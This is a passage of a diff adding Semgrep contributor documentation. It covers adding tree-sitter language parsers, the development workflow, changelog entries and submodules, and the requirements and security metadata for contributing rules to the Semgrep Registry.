+However, if the `previous` rule is known to be a `choice()`, you can avoid
+one level of nesting and append to the original list of choices, which
+is done as follows:
+```js
+expression: ($, previous) => choice(...previous.members, $.ellipsis),
+```
+
+Whether to use one or the other is a matter of taste.
+
+
+
+Finally, on rare occasions where the rule body is more than a single expression, you'll have to use the curly brace or return syntax:
+```js
+expression: ($, previous) => {
+ if (semgrep_ext)
+ return choice(...previous.members, $.ellipsis);
+ else
+ return previous;
+},
+```
+
+## Parsing statistics
+
+From a language's folder such as `lang/csharp`, two targets are
+available to exercise the generated parser:
+
+* `make test`: runs on `test/ok` and `test/xfail`
+* `make stat`: downloads the code specified in `projects.txt` and
+ parses the files whose extension matches those in `extensions.txt`,
+ reporting parsing success in the form of a CSV file.
+
+For gathering a good test corpus, you can use [GitHub
+Search](https://github.com/search/advanced) or the script provided in
+`scripts/most-starred-for-language.py`. For github searches, filter by
+programming language and use a constraint to select large projects,
+such as "> 100 forks". Collect the repository URLs and put them into
+`projects.txt`.
+
+## Publish generated parsers
+
+After you have pushed your ocaml-tree-sitter-semgrep changes to the main
+branch, do the following:
+
+
+
+Check that the original `grammar.js`, `src/scanner.c`/`.cc` (if
+ applicable) look clean and have minimal external dependencies.
+
+
+In `ocaml-tree-sitter/lang/Makefile`, add language under
+ 'SUPPORTED_LANGUAGES' and 'STAT_LANGUAGES'.
+
+
+In `ocaml-tree-sitter/lang` directory, run `./release LANG --dry-run`.
+ If this looks good, please [ask someone from the Semgrep team](https://github.com/semgrep/ocaml-tree-sitter-semgrep/blob/main/doc/release.md) to
+ publish the code using `./release LANG`.
+
+
+
+### Troubleshooting
+
+Various errors can occur along the way.
+
+Compilation errors in C or C++ are usually due to a missing source
+file `scanner.c` or `scanner.cc`, or a grammar with a name that
+doesn't match the name inside the scanner file. JavaScript files may
+also be missing, in particular in the case of grammars that extend
+existing grammars such as C++ for C or TypeScript for
+JavaScript. Check for `require()` calls in `grammar.js` and learn how
+this NodeJS primitive resolves paths.
+
+There may also be errors when generating or compiling
+OCaml code. These are likely bugs in ocaml-tree-sitter-semgrep and they should
+be reported or fixed right away.
+
+Here are some known types of parsing errors:
+
+* A syntax error. The input program is in the wrong syntax or uses a
+ recent feature that's not supported yet: `make test` or directly the
+ `parse_LANG` program will show the tree produced by tree-sitter with
+ one or more `ERROR` nodes.
+* A "reparsing" error. It's an error generated after the first
+ successful parsing pass by the tree-sitter parser, during the
+ reparsing pass by the OCaml code performed by the generated
+ `Parse.ml` file. The error message should tell you something like
+ "cannot interpret tree-sitter's output", with details on what code
+ failed to match what pattern. This is most likely a bug in
+ `ocaml-tree-sitter-semgrep`.
+* A segmentation fault. This could be due to a bug in the
+ OCaml/tree-sitter C bindings and should be fixed. A simple test case
+ that reproduces the problem would be nice.
+ See https://github.com/semgrep/ocaml-tree-sitter-semgrep/issues/65
+
+Parsing errors that are due to an incomplete or incorrect grammar should be recorded, and eventually reported or fixed in the upstream project.
+
+We keep failing test cases in a `fail/` folder, preferably in the form of the minimal program suitable for a bug report, with a comment describing what was expected and what's going on.
+
+
+## Update the `semgrep` repository
+
+Now that you have added your new language LANG to `tree-sitter`, do the following:
+
+
+
+Update [`generate.py`](https://github.com/semgrep/semgrep-interfaces/blob/main/generate.py) in the `semgrep-interfaces` repository with your new language.
+
+
+In the `semgrep` repository, go to [`/src/parsing/Check_pattern.ml`](https://github.com/semgrep/semgrep/blob/develop/src/parsing/Check_pattern.ml), and add LANG to `lang_has_no_dollar_ids`. If the grammar has no dollar identifiers, add LANG above 'true'. Otherwise, add it above 'false'.
+
+
+In [`/src/printing/Pretty_print_AST.ml`](https://github.com/semgrep/semgrep/blob/develop/src/printing/Pretty_print_AST.ml), add LANG to the appropriate functions:
+ * `print_bool`
+ * `if_stmt`
+ * `while_stmt`
+ * `do_while`
+ * `for_stmt`
+ * `def_stmt`
+ * `return`
+ * `break`
+ * `continue`
+ * `literal`
+
+
+In [`/src/parsing/tests/Test_parsing.ml`](https://github.com/semgrep/semgrep/blob/develop/src/parsing/tests/Test_parsing.ml), add in LANG to `dump_tree_sitter_cst_lang`.
+
+
+Inspect the other languages in `/languages` as a reference for what
+ code to add. Create a new folder for your language.
+
+
+Add the `semgrep-LANG` repository as a submodule under
+ `/languages/LANG/tree-sitter/` (`git submodule add ...`).
+
+
+Create a file
+ `/languages/LANG/tree-sitter/Parse_LANG_tree_sitter.ml`
+ by copying the generated template `Boilerplate.ml` that you'll find
+ in the `semgrep-LANG` submodule.
+ Add basic functionality to
+ define the function `parse` and import the module
+ `Parse_tree_sitter_helpers`.
+ Look at other languages to get a better idea of how to
+ define the parse file function. This file should contain something
+ similar to:
+ ```ocaml
+ module H = Parse_tree_sitter_helpers
+
+ let parse file =
+ H.wrap_parser
+ (fun () ->
+ Parallel.backtrace_when_exn := false
+ Parallel.invoke Tree_sitter_X.Parse.file file ()
+ )
+ ```
+
+
+Create the missing `dune` files wherever you have OCaml source
+ files (`.ml`, `.mli`) by imitating what was done for other
+ languages.
+
+
+Write a basic test case for your language in
+ `tests/LANG/hello-world.EXT`. This
+ can just be a hello-world function.
+
+
+Try to build the project using the usual commands
+ (`make` or `make dev`).
+
+
+Test that the command
+ `semgrep-core/bin/semgrep-core -dump_tree_sitter_cst test/LANG/hello-world`
+ prints out a CST for your language.
+
+
+
+At this point, you're ready to start writing the translator from
+the CST produced by the tree-sitter parser for LANG
+into the generic AST used by Semgrep, accommodating all the languages
+in a single AST type. It's recommended but not required to first
+translate the CST into a language-specific AST before translating it
+into the generic AST in a second step.
+
+## Legal concerns
+
+Be thankful for the authors of the original code, keep clearly visible
+license notices, and make it easy to get back to the original projects:
+
+* Make sure to preserve the `LICENSE` files. This should be listed in
+ the `fyi.list` file.
+* For sample input in `test/`, consider Public Domain ("The
+ Unlicense") files or write your own, for simplicity.
+ [GitHub Search](https://github.com/search/advanced)
+ allows you to filter projects by license and by programming language.
+
+## See also
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/contributing/contributing-code.mdx b/mintlify-docs/contributing/contributing-code.mdx
new file mode 100644
index 0000000000..f4b17df92d
--- /dev/null
+++ b/mintlify-docs/contributing/contributing-code.mdx
@@ -0,0 +1,279 @@
+---
+title: "Contributing code"
+---
+
+Semgrep welcomes contributions from anyone. If you have an idea for a feature
+or notice a bug please [open an issue](https://github.com/semgrep/semgrep/issues/new/choose).
+Creating an issue first is preferable to moving directly to a pull request so
+that we can ensure you're on the right track without any wasted effort. This
+is also a great way to contribute to Semgrep even if you're not making changes
+yourself.
+
+This README gives an overview of the repository. For further information on building, you will be directed to [semgrep-core contributing](/contributing/semgrep-core-contributing) and/or [semgrep-cli contributing](/contributing/semgrep-contributing) in [Making a Change](#making-a-change).
+
+## File structure
+
+Semgrep consists of a Python wrapper (`semgrep-cli`) around an OCaml engine (`semgrep-core`) which performs the core parsing/matching work. Within `semgrep-core`, there are two sources of parsers, `pfff` and `tree-sitter-lang` using [tree-sitter](https://github.com/tree-sitter/tree-sitter). Additionally, `semgrep-core` contains a subengine, `spacegrep`, for generic matching.
+
+You may also be interested in `perf`, which contains our code for running repositories against specific rulesets.
+
+There are many other files, but the below diagram broadly displays the file structure.
+
+```text
+.
+├── cli/ (Python wrapper)
+│ └── src/
+│ └── semgrep/
+│
+├── src/ (semgrep-core)
+│ │── analyzing/ (Dataflow analysis)
+│ │── core_cli/ (Entrypoint for semgrep-core)
+│ └── matching/ (Matching engine)
+│
+├── languages/ (Language parsers)
+│
+├── libs/ (Library components)
+│ │── ast_generic/ (Generic AST)
+│ └── spacegrep/ (Generic matching)
+│
+└── perf/ (Performance benchmarking)
+```
+
+Most of Semgrep's logic is in `cli/src` and `src`.
+
+## Code relationship
+
+The `semgrep-core` binary stands alone. Once built, it is possible to run `semgrep-core` on a semgrep rule for a given language with a file/directory and receive matches.
+
+For example, say you create the config file `unsafe-exec.yaml` and the program `unsafe-exec.py`:
+
+```yaml
+rules:
+- id: unsafe-exec
+ pattern: exec(...);
+ message: Avoid use of exec; it can lead to a remote code execution.
+ severity: MEDIUM
+ languages: [python]
+```
+
+```python
+exec("ls");
+```
+
+If you run `semgrep-core -config unsafe-exec.yaml unsafe-exec.py -lang python`, it will output
+
+```text
+unsafe-exec.py:1 with rule unsafe-exec
+ exec("ls");
+```
+
+If you run `semgrep --config unsafe-exec.yaml unsafe-exec.py`, it will output
+
+```text
+running 1 rules...
+unsafe-exec.py
+severity:warning rule:unsafe-exec: Avoid use of exec; it can lead to a remote code execution.
+1:exec("ls");
+ran 1 rules on 1 files: 1 findings
+```
+
+The matched code is the same, but with `semgrep-cli` the output is more polished and includes the message.
+
+`semgrep-cli` invokes the `semgrep-core` binary as a subprocess, with a flag to request JSON output. It reads the `semgrep-core` output and transforms it appropriately.
+
+Currently, depending on the flags used, `spacegrep` is invoked both independently by `semgrep-cli` as a subprocess and by `semgrep-core` as a subfolder. Therefore, `semgrep-cli` requires the `spacegrep` binary, but building `semgrep-core` will build `spacegrep` as well.
+
+## Making a change
+
+Semgrep runs on Python versions >= 3.8. If you don't have one of these versions installed, please do so before proceeding.
+
+Because the Python and OCaml development paths are relatively independent, the instructions are divided into Python ([semgrep-cli contributing](/contributing/semgrep-contributing)) and OCaml ([semgrep-core contributing](/contributing/semgrep-core-contributing)).
+
+To fully build Semgrep from source, start at [semgrep-core contributing](/contributing/semgrep-core-contributing). It will direct you to [semgrep-cli contributing](/contributing/semgrep-contributing) when appropriate.
+
+Depending on what change you want to make, it might be simpler to build only `semgrep-cli` or only `semgrep-core`. For example, if you only want to modify Python code, you can skip installing OCaml by downloading binaries for the OCaml parts. Similarly, if you only want to modify OCaml code, you can work on `semgrep-core`/`spacegrep` directly.
+
+If you only want to build `semgrep-cli`, go straight to [semgrep-cli contributing](/contributing/semgrep-contributing). Otherwise, follow the instructions in [semgrep-core contributing](/contributing/semgrep-core-contributing).
+
+Below is a guide for what functionality each of `semgrep-cli` and `semgrep-core` controls.
+
+### Only `semgrep-cli`
+
+The python code for Semgrep performs pre and post-processing work. You likely need to touch only `semgrep-cli` if you want to affect
+
+* How output is formatted
+* What files are scanned for each language
+* The message that is displayed
+
+Go to [semgrep-cli contributing](/contributing/semgrep-contributing)
+
+### Only `semgrep-core`
+
+The OCaml code for Semgrep performs all the parsing and matching work. You likely need to touch only `semgrep-core` if you want to
+
+* Fix a parse error
+* Fix a matching error
+* Improve Semgrep's performance
+
+Go to [semgrep-core contributing](/contributing/semgrep-core-contributing)
+
+### Both `semgrep` and `semgrep-core`
+
+There are some features that cross through both OCaml and Python code. You will likely need to touch both `semgrep-cli` and `semgrep-core` if you want to
+
+* Fix an Rule-defined fix error
+* Add a new language
+* Change error reporting
+
+Go to [semgrep-core contributing](/contributing/semgrep-core-contributing). It will direct you to [semgrep-cli contributing](/contributing/semgrep-contributing) when appropriate.
+
+## Development workflow
+
+Before each commit Semgrep will run [`pre-commit`](https://pre-commit.com/) to
+ensure files are well-formatted and check for basic linting bugs. If you don't
+have `pre-commit` installed the following command will do so for you:
+
+```bash
+python -m pip install pre-commit
+```
+
+Our `pre-commit` configuration uses Docker images. Please ensure you have
+[Docker installed](https://docs.docker.com/get-docker/) before running
+`pre-commit`. Install the `pre-commit` hooks with the following command:
+
+```bash
+pre-commit install
+```
+
+To ensure `pre-commit` is working as expected, run the following command:
+
+```bash
+pre-commit run --all
+```
+
+Once `pre-commit` is working you may commit code and create pull requests as
+you would expect. Pull requests require approval of at least one maintainer and
+[CI to be passing](https://github.com/semgrep/semgrep/actions).
+
+### Explaining code
+
+It's important for code to be easy to maintain. This allows all of us to
+spend more time on new features rather than spending it on studying
+legacy code. As a general rule of thumb, assume that all context that
+is not written down will be lost and forgotten. Useful context includes:
+
+* Why does this code exist?
+* What or who uses this code?
+* What does this code achieve?
+* Could this code be replaced by an off-the-shelf component? Why not?
+* Does it implement a formal specification or a well-known pattern? Where can
+ we learn more about it?
+
+We ask that **each source file start with one comment** that
+concisely answers these questions.
+
+Here's a short example:
+```ocaml
+(*
+ Generate unique names with a given prefix.
+*)
+```
+
+It can be improved by explaining the code's uses:
+```ocaml
+(*
+ Generate unique names with a given prefix. This is used to
+ name new grammar rules and new OCaml variables.
+*)
+```
+
+### Adding a changelog entry
+
+#### Quick reference
+
+Add a new file named like `changelog.d/gh-1234.fixed` that contains
+a single paragraph of Markdown text such as:
+```text
+Fix emojis absorbed by the fleeb generator
+```
+
+File name format:
+```text
+gh-1234.fixed
+ ^^^^ ^^^^^
+ | |
+ | one of: "added", "changed", "fixed", "infra"
+ GitHub issue or pull request ID
+```
+
+Valid changelog file suffixes are:
+- `added` - New features or other previously non-existing functionality
+- `changed` - Items that have changed the way Semgrep functions
+- `fixed` - Bug fixes or other improvements
+- `infra` - Workflow improvements or other non-code updates
+
+#### When to add a changelog entry
+
+If you contribute code that affects users, you must add an entry
+to the changelog, in the [`changelog.d`
+folder](https://github.com/semgrep/semgrep/tree/develop/changelog.d). At
+each Semgrep release, these files are automatically gathered and formatted to
+produce [release notes](https://github.com/semgrep/semgrep/blob/develop/CHANGELOG.md).
+
+A changelog entry is required if you are:
+- Adding new features or other previously non-existing functionality.
+- Including important changes in the way Semgrep functions.
+- Submitting bug fixes or other improvements.
+- Creating workflow improvements or other non-code updates.
+
+A tool called [`towncrier`](https://github.com/twisted/towncrier) is
+used for changelog management.
+
+### Troubleshooting pre-commit
+
+On M1 macs some `pre-commit` tests may fail.
+
+If those checks are running in docker containers (such as `hadolint`) and exit with code 137, this means they are running into a memory limit.
+This is because for running x86_64 images on an M1 mac, docker will utilize an emulation with qemu that can cause higher memory consumption.
+To fix this, change the memory limit in Docker Desktop in the Resources section of the Preferences, 8.00GB should be sufficient.
+
+### Working with git submodules
+
+A submodule is a reference to a specific commit in another git
+repository. This results in a subfolder containing a checkout of that
+repository at that particular commit. Submodules have a reputation of
+being tricky to use. To minimize problems, make sure to follow these
+guidelines:
+
+* When checking out a new branch or commit, update the submodules
+ using the command `git submodule update --init --recursive`.
+ Adding a shortcut to your shell can be useful. The following is a
+ Bash function that lets you call `gitup`. It goes into your `~/.bashrc`:
+
+```bash
+gitup() {
+ echo "git submodule update --init --recursive"
+ git submodule update --init --recursive
+}
+```
+
+* When modifying both a parent repo A and one of its submodules B,
+ make one pull request for each (PR A, PR B).
+ i. Before merging PR B, make sure the branch on repo B is **not
+ lagging behind** the main branch. This ensures that the submodule
+ includes all the latest changes made by others.
+ ii. Make sure PR B is merged **before** PR A.
+ This ensures that other developers will pick up the changes on B
+ when making their own changes.
+ iii. After merging PR A, check that submodule B is still up-to-date
+ with respect to its main branch, especially if PR B was merged
+ more than an hour ago.
+ Good to know:
+ - Merging in B can be done with a merge commit or by squashing the
+ commits.
+ - If squashing commits in B, you must know that the original commit
+ referenced by A becomes orphaned when the branch is deleted but
+ remains cached by git for a while. This is usually sufficient to
+ not require A to point to the newly-squashed commit. _If this turns
+ out to be problematic in practice, we may have to disallow
+ commit squashing in the future._
diff --git a/mintlify-docs/contributing/contributing-to-semgrep-rules-repository.mdx b/mintlify-docs/contributing/contributing-to-semgrep-rules-repository.mdx
new file mode 100644
index 0000000000..c69d55a0d4
--- /dev/null
+++ b/mintlify-docs/contributing/contributing-to-semgrep-rules-repository.mdx
@@ -0,0 +1,534 @@
+---
+title: "Contribute rules to the Semgrep Registry"
+---
+
+
+Publish rules to the Semgrep Registry to share them with the Semgrep community and contribute to the field of software security. There are two ways in which you can contribute rules to the Semgrep Registry:
+
+**For users of Semgrep AppSec Platform**
+
+Contribute new rules to the Semgrep Registry through Semgrep AppSec Platform. This workflow is recommended. See [Contribute through Semgrep AppSec Platform (recommended)](#contribute-through-semgrep-appsec-platform-recommended). This workflow creates the necessary pull request for you and streamlines the whole process.
+
+**For contributors to the repository through GitHub**
+
+Contribute rules to the Semgrep Registry, or suggest changes to existing rules, through a pull request to `semgrep-rules`. See the [Contribute through GitHub](#contribute-through-github) section for detailed information.
+
+## Contribute through Semgrep AppSec Platform (recommended)
+
+This is the recommended path for adding a new rule. To suggest a change to an existing rule, see [Update existing rules in Semgrep Registry](#update-existing-rules-in-semgrep-registry).
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to the [Semgrep Playground](https://semgrep.dev/playground/new).
+
+
+Click **Create New Rule**.
+
+
+Choose one of the following:
+ - Create a new rule and test code by clicking **plus** icon, select **New rule** and then click **Save**. Note: The test file must contain at least one true positive and one true negative test case to be approved. See the [Tests](#tests) section of this document for more information.
+ - In the **Library** panel, select a rule from a category in **Semgrep Registry**. Click **Fork**, modify the rule or test code, and then click **Save**.
+
+
+Click **Share**.
+
+
+Click **Publish to Registry**.
+
+
+Fill in the required and optional fields.
+
+
+Click **Continue**, and then click **Create PR**.
+
+
+
+This workflow automatically creates a pull request in the GitHub [Semgrep Registry](https://github.com/semgrep/semgrep-rules). Find more about the Semgrep Registry by reading the [Rule writing](#write-a-rule-for-semgrep-registry) and [Tests](#tests) sections.
+
+You can also publish rules as private rules outside of Semgrep Registry. These rules are not included in the Semgrep Registry, but they are accessible to your Semgrep organisation. See the [Private rules](/writing-rules/private-rules) documentation for more information.
+
+## Contribute through GitHub
+
+
+
+Create a pull request in the [semgrep/semgrep-rules](https://github.com/semgrep/semgrep-rules) repository. The pull request requires two files:
+ - The Semgrep rule saved as a YAML file.
+ - The test file with the file extension of the language or framework. The test file must contain at least one true positive and one true negative test case to be approved. See the [Tests](#tests) section of this document for more information.
+
+
+Sign the Contributor License Agreement (CLA) on GitHub; this is required before Semgrep can accept your contributions.
+
+Pull requests require the approval of at least one maintainer and successfully passed [CI jobs](https://github.com/semgrep/semgrep-rules/actions).
+
+
+
+Find more about the Semgrep Registry by reading the [Rule writing](#write-a-rule-for-semgrep-registry) and [Tests](#tests) sections.
+
+## Licensing
+
+The Semgrep Registry can import rules from different repositories. These repositories can enforce their own licensing for rules. If you'd like to enforce a specific license, such as the MIT license or GNU Lesser GPL:
+
+
+
+Create a GitHub repository and store your rules there.
+
+
+Reach out to the Semgrep team through the [Community Slack](https://go.semgrep.dev/slack) or [Support](/support)
+
+
+
+## Write a rule for Semgrep Registry
+
+The following sections document necessary fields in rule files of Semgrep Registry, provide information about rule messages, inform about test files, mention rule quality checkers, and describe additional fields required by rules in the security category.
+
+### General rule requirements
+
+All rules in general, regardless of whether they are intended only as local rules or for Semgrep Registry, have the same initial requirements. The following table is also included in the [Rule Syntax](/writing-rules/rule-syntax) article.
+
+All required fields must be present at the top level of a rule immediately under the `rules` key.
+
+|**Field**|**Type**|**Description**|
+|---|---|---|
+|`id`|`string`|Unique, descriptive identifier, for example: `no-unused-variable`|
+|`message`|`string`|Message that includes why Semgrep matched this pattern and how to remediate it. See also [Rule messages](/contributing/contributing-to-semgrep-rules-repository#rule-messages).|
+|`severity`|`string`|Severity can be `LOW`, `MEDIUM`, `HIGH`, or `CRITICAL`. It indicates the criticality of issues detected by a rule. Note: Semgrep Supply Chain uses [CVE assignments for severity](/semgrep-supply-chain/findings#filter-findings), while the rule author sets severity for Code and Secrets. The older levels `ERROR`, `WARNING`, and `INFO` match `HIGH`, `MEDIUM`, and `LOW`. Severity values remain backwards compatible.|
+|`languages`|`array`|See [language extensions and tags](/writing-rules/rule-syntax#language-extensions-and-languages-key-values).|
+|`pattern`*|`string`|Find code matching this expression|
+|`patterns`*|`array`|Logical `AND` of multiple patterns|
+|`pattern-either`*|`array`|Logical `OR` of multiple patterns|
+|`pattern-regex`*|`string`|Find code matching this [PCRE2](https://www.pcre.org/current/doc/html/pcre2pattern.html)\-compatible pattern in multiline mode|
+
+
+**INFO**
+
+Only one of the following keys are required: `pattern`, `patterns`, `pattern-either`, `pattern-regex`
+
+
+Every rule also requires a test file in the language that the rule is targeting. See [Tests](#tests) for more details.
+
+### Semgrep registry rule requirements
+
+In addition to the fields mentioned above, rules submitted to Semgrep Registry have additional required fields:
+
+| Field | Description | Possible values | Example |
+|---|---|---|---|
+| `metadata` | All rules require `technology`, `category`, and `references`. The `category: security` has more requirements. See Including fields required by security category. | Required by all Semgrep Registry rules:
`references`
`category`
`technology`
Additional keys required when `category` is `security`:
`cwe`
`owasp`
`confidence`
`subcategory`
`likelihood`
`impact`
`vulnerability_class`
| `metadata:` `cwe:` `- "CWE-94: (...)"` `category: security` `technology:` `- unicode` `references`: - https://trojansource.codes/|
+| `technology` | Nested under the `metadata` field. Additional information about the technology. This helps to specify rulesets in Semgrep Registry. |
`django`
`docker`
`express`
`kubernetes`
`nginx`
`react`
`terraform`
`--no-technology--`
| `metadata:` `technology:` `- react`|
+| `category` | Nested under the `metadata` field. If you use category `security`, include additional metadata. See Including fields required by security category. |
`best-practice`
`correctness`
`maintainability`
`performance`
`portability`
`security`
| `category: security`|
+| `references` | Additional information that gives more context to the user of the rule. This helps developers understand the issue and how to fix it. | No finite value. Any additional information that gives more context. | `references:` - [OWASP DOM based XSS Prevention Cheat Sheet][OWASP-DOM-based-XSS-prevention] |
+
+
+
+**INFO**
+
+- If you use category security, include additional metadata. See Including fields required by security category.
+- Cross-file (interfile) analysis requires `interfile: true` under the `options` key in YAML rules. For more information, see [Creating rules that analyze across files](/semgrep-code/semgrep-pro-engine-intro/#write-rules-that-analyze-across-files-and-functions).
+
+
+
+### Rule namespace
+
+The namespacing format for contributing rules in the [Semgrep Registry](https://github.com/semgrep/semgrep-rules) is `///$MORE`. If the rule does not belong to a particular framework, add it to the language directory, which uses the word `lang` in place of the `` - `/`.
+
+### Tests
+
+Include a test file in the language that your rule is targeting. A test file includes the following:
+
+- At least one test where the rule detects a finding. This is called a true positive finding.
+- At least one test where the rule does **not** detect a finding. This is called a true negative finding.
+
+Test file names must match the rule filename, except for the file extension. For example, if the rule is in `my-rule.yaml`, the test filename must be `my-rule.js`. Use any valid extension for the target language.
+
+
+
+**REQUIREMENTS OF TEST FILES**
+
+- In the test file, include examples that mark:
+ - What is expected to be a finding.
+ - What is not a finding.
+- The test filename must match the rule filename, except for the file extension.
+
+
+
+
+
+See the examples of the rule and test file below:
+
+Rule file:
+```yaml
+rules:
+- id: my-rule
+ pattern: var $X = "...";
+ …
+```
+
+In the test file, mark an expected finding with a comment tag and the `ruleid` of your rule in the comment before the expected finding. Also, mark the code that is expected not to be a finding with a comment stating `ok` and add the `ruleid` also. See the example below:
+```js
+// ruleid: my-rule
+var strdata = "hello";
+// ok: my-rule
+var numdata = 1;
+```
+
+For more information, visit [Testing rules](/writing-rules/testing-rules).
+
+### Rule messages
+
+Include a rule message that provides details about the matched pattern and informs about how to mitigate any related issues. Provide the following information in a rule message:
+
+1. Description of the pattern. For example: missing parameter, dangerous flag, out-of-order function calls.
+2. Description of why this pattern was detected. For example: logic bug, introduces a security vulnerability, bad practice.
+3. An alternative that resolves the issue. For example: Use another function, validate data first, and discard the dangerous flag.
+
+Use the YAML multiline string operator `>-` when rule messages span multiple lines. This presents the best-looking rule message on the command line without having to worry about line wrapping or escaping the quote or using the backslash.
+
+For an example of a good rule message, see: [this rule for Django's `mark_safe`](https://semgrep.dev/r?q=python.django.security.audit.avoid-mark-safe.avoid-mark-safe).
+
+
+
+**RULE MESSAGE EXAMPLE**
+
+`mark_safe()` is used to mark a string as safe for HTML output. This disables escaping and may expose the content to XSS attacks. Instead, use `django.utils.html.format_html()` to build HTML for rendering.
+
+
+
+
+
+### Rule quality checker
+
+When you contribute rules to the Semgrep Registry, our quality checkers (linters) evaluate if the rule conforms to Semgrep, Inc. standards. The `semgrep-rule-lints` job runs linters on a new rule to check for mistakes, performance problems, and best practices for submitting to the Semgrep Registry. To improve your rule writing, use Semgrep itself to [scan semgrep-rules](https://semgrep.dev/blog/2021/how-we-made-semgrep-rules-run-on-semgrep-rules/).
+
+### Fields required by the `security` category
+
+Rules in category `security` in the Semgrep Registry require specific metadata fields that ensure consistency across the ecosystem in both Semgrep AppSec Platform and Semgrep CLI. Nest these metadata under the `metadata` field.
+
+If your rule has a `category: security`, the following metadata are required:
+
+
See [Vulnerability class](#vulnerability-class) for a list of sample values. Accepts custom values.
+
+
vulnerability_class: - Hard-coded Secrets
+
+
+
+
+
+These fields help you to find rules in different categories such as:
+- High confidence security rules for CI pipelines.
+- OWASP Top 10 or CWE Top 25 rulesets.
+- Technology. For example, `react` so it is easy to find React rulesets.
+- Audit rules with lower confidence are intended for code auditors.
+
+Examples of rules with a full list of required metadata:
+- High confidence JavaScript and TypeScript rule: [`javascript.express.security.audit.express-open-redirect.express-open-redirect`](https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect)
+- Medium confidence Python rule: [`python.lang.security.dangerous-system-call.dangerous-system-call`](https://semgrep.dev/r/python.lang.security.dangerous-system-call.dangerous-system-call)
+- Low confidence C# rule: [`csharp.lang.security.ssrf.rest-client.ssrf`](https://semgrep.dev/r/csharp.lang.security.ssrf.rest-client.ssrf)
+
+
+**NOTE**
+
+Details of each field mentioned above are provided in the subsections below with examples.
+
+
+
+#### CWE
+
+Include the appropriate Comment Weakness Enumeration (CWE). CWE can explain what vulnerability your rule is trying to find. Examples:
+
+If you write an SQL Injection rule, use the following:
+```yaml
+cwe:
+ - "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"
+```
+
+If you write an XSS rule, use the following:
+```yaml
+cwe:
+ - "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"
+```
+
+#### Confidence
+
+Indicate confidence of the rule to detect true positives. See the possible options below:
+
+- **HIGH** - Security concern, with high true positives. Useful in CI/CD pipelines.
+- **MEDIUM** - Security concern, but some false positives. Useful in CI/CD pipelines.
+- **LOW** - Expect a fair amount of false positives, similar to audit style rules. These rules can detect many false positives.
+
+##### HIGH
+
+HIGH confidence rules can use Semgrep advanced features such as `metavariable-comparison` or `taint mode`, to detect true positives. See examples below:
+
+- [`go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key`](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key)
+- [`javascript.express.security.audit.express-open-redirect.express-open-redirect`](https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect)
+- [`javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret`](https://semgrep.dev/r/javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret)
+
+```yaml
+confidence: HIGH
+```
+
+##### MEDIUM
+
+MEDIUM confidence rules can use Semgrep advanced features such as `metavariable-comparison` or `taint mode`, but with some false positives. See examples below:
+
+- [`javascript.express.security.audit.express-ssrf.express-ssrf`](https://semgrep.dev/r/javascript.express.security.audit.express-ssrf.express-ssrf)
+- [`javascript.express.security.express-xml2json-xxe.express-xml2json-xxe`](https://semgrep.dev/r/javascript.express.security.express-xml2json-xxe.express-xml2json-xxe)
+
+```yaml
+confidence: MEDIUM
+```
+
+##### LOW
+
+Low confidence rules generally find something which appears to be dangerous while reporting a lot of false positives. See examples below:
+
+- [`php.lang.security.eval-use.eval-use`](https://semgrep.dev/r/php.lang.security.eval-use.eval-use)
+- [`javascript.browser.security.dom-based-xss.dom-based-xss`](https://semgrep.dev/r/javascript.browser.security.dom-based-xss.dom-based-xss)
+
+```yaml
+confidence: LOW
+```
+
+#### Likelihood
+
+Specify how likely it is that an attacker can exploit the issue that has been found. The possible values are `LOW`, `MEDIUM`, `HIGH`.
+
+##### HIGH
+
+HIGH likelihood rules specify a very high concern that the vulnerability can be exploited. Examples:
+
+- The use of weak encryption: [`go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key`](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_rsa_key.use-of-weak-rsa-key)
+- Disabled security feature in a configuration: [`javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled`](https://semgrep.dev/r/javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled)
+- Hardcoded secrets that use a constant value `"..."`: [`javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret`](https://semgrep.dev/r/javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret)
+- Rules that leverage `taint mode sources` which indicate sources that can come from an attacker. Such as HTTP `POST`, `GET`, `PUT`, and `DELETE` request values. For example: [`javascript.express.security.audit.express-open-redirect.express-open-redirect`](https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect)
+
+```yaml
+likelihood: HIGH
+```
+
+##### MEDIUM
+
+MEDIUM likelihood rules detect a vulnerability in most circumstances. Although it can be hard for an attacker to exploit them. Also, these rules can detect part of a problem, but not the whole issue. Examples:
+
+- `taint mode sources` that reach a `taint mode sink` but the source is only vulnerable in certain conditions for example OS Environment Variables, or loading from disk: [`python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process`](https://semgrep.dev/r/python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process)
+- `taint mode sources` with a `taint mode sink` but is missing a `taint mode sanitizer` which can introduce more false positives: [`javascript.express.security.express-puppeteer-injection.express-puppeteer-injection`](https://semgrep.dev/r/javascript.express.security.express-puppeteer-injection.express-puppeteer-injection)
+
+```yaml
+likelihood: MEDIUM
+```
+
+##### LOW
+
+LOW likelihood rules tend to find something dangerous, but are not evaluating whether something is truly vulnerable, for example:
+
+- `taint mode sources` such as function arguments which may or may not be tainted which reach a `taint mode sink`: [`typescript.react.security.audit.react-href-var.react-href-var`](https://semgrep.dev/r/typescript.react.security.audit.react-href-var.react-href-var)
+- A rule which uses `search mode` to find the use of a dangerous function for example: `trustAsHTML`, `bypassSecurityTrust()`, `eval()`, or `innerHTML`: [`javascript.browser.security.dom-based-xss.dom-based-xss`](https://semgrep.dev/r/javascript.browser.security.dom-based-xss.dom-based-xss)
+
+```yaml
+likelihood: LOW
+```
+
+#### Impact
+
